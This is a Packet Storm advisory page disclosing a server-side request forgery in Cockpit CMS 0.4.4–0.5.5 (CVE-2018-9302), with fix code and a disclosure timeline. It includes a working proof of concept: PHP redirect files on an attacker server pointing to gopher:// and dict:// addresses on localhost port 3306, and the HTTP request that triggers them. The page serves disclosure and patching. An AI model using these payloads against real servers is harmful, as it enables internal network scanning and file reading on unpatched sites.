exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Cockpit CMS 0.5.5 Server-Side Request Forgery

Cockpit CMS 0.5.5 Server-Side Request Forgery
Posted Apr 28, 2018
Authored by Jiawang Zhang, Qian Wu, Bo Wang

Cockpit CMS versions 0.4.4 through 0.5.5 suffer from a server-side request forgery vulnerability.

tags | exploit
advisories | CVE-2017-14611, CVE-2018-9302
SHA-256 | 877fb3147fad9053c21d2ae76bcbba82752af4be9b3e9a70fa171c8a6b4a756e

Cockpit CMS 0.5.5 Server-Side Request Forgery

Change Mirror Download
# SSRFPS"Server Side Request ForgeryPS(c) in Cockpit 0.4.4-0.5.5 (CVE-2018-9302)

Cockpit CMS repairs CVE-2017-14611, but it can be bypassed, SSRF still exist, affecting the Cockpit CMS 0.4.4-0.5.5 versions.I've been tested success of "Cockpit CMS" lastest version.

## Product Download: Cockpit (https://getcockpit.com)

## Vulnerability TypePSoSSRFPS"Server Side Request ForgeryPS(c)

## Attack Type : Remote

## Vulnerability Description

You can edit a .php file on own server. The .php file's code example:

<?php Header("Location: dict://127.0.0.1:3306/_0d%");?>

## Exploit
Request:

GET /assets/lib/fuc.js.php?url=http://myserver/redirect.php HTTP/1.1
Host: myserver
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8
referer:http://myserver/index.php


Modify the redirect.php file on the attacker's server.example:
<?php Header("Location: gopher://127.0.0.1:3306/_0d%");?>

If the curl function is available,then use gopher!C/tftp!C/http!C/https!C/dict!C/ldap!C/imap!C/pop3!C/smtp!C/telnet protocols methodPS!if not then only use http!C/https!C/ftp protocol
scan prot,example: <?php Header("Location: dict://127.0.0.1:3306/");?>

If the curl function is unavailable,this vulnerability trigger need allow_url_fopen option is enable in php.iniPS!allow_url_fopen option defualt is enable.

## Versions

Product: Cockpit CMS 0.4.4-0.5.5

## Impact

SSRF (Server Side Request Forgery) in /assets/lib/fuc.js.php in Cockpit 0.4.4 through 0.5.5 allows remote attackers to read arbitrary files or send TCP traffic to intranet hosts via the url parameter.

## Fix Code

The fix code examplePSo

$url = $_REQUEST['url'];
$content = null;
if (!filter_var($url, FILTER_VALIDATE_URL)) {

header('HTTP/1.0 400 Bad Request');
return;
}

// allow only http requests
if (!preg_match('#^http(|s)\://#', $url)) {
header('HTTP/1.0 403 Forbidden');
return;
}
preg_match('/https*:\/\/(.+)/', $url, $matches);
$host= count($matches) > 1 ? $matches[1] : '';
$ip = gethostbyname($host);
//check private ip
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE)) {
return
}

and modify the line 48 :

curl_setopt($conn, CURLOPT_FOLLOWLOCATION, 0);

## Credit

This vulnerability was discovered by Qian Wu & Bo Wang & Jiawang Zhang & National Computer Network Emergency Response Technical Team/Coordination Center of China (CNCERT/CC)

## References

CVE: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-9302

### Timeline:

2018-04-03 Found Cockpit CMS vulnerability.

2018-04-04 Submit vulnerability information to developers.

2018-04-05 Submit CVE-ID request

2018-04-28 Vendor no response, Public vulnerability information,Please Fix it.

Best wishes!


Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    6 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close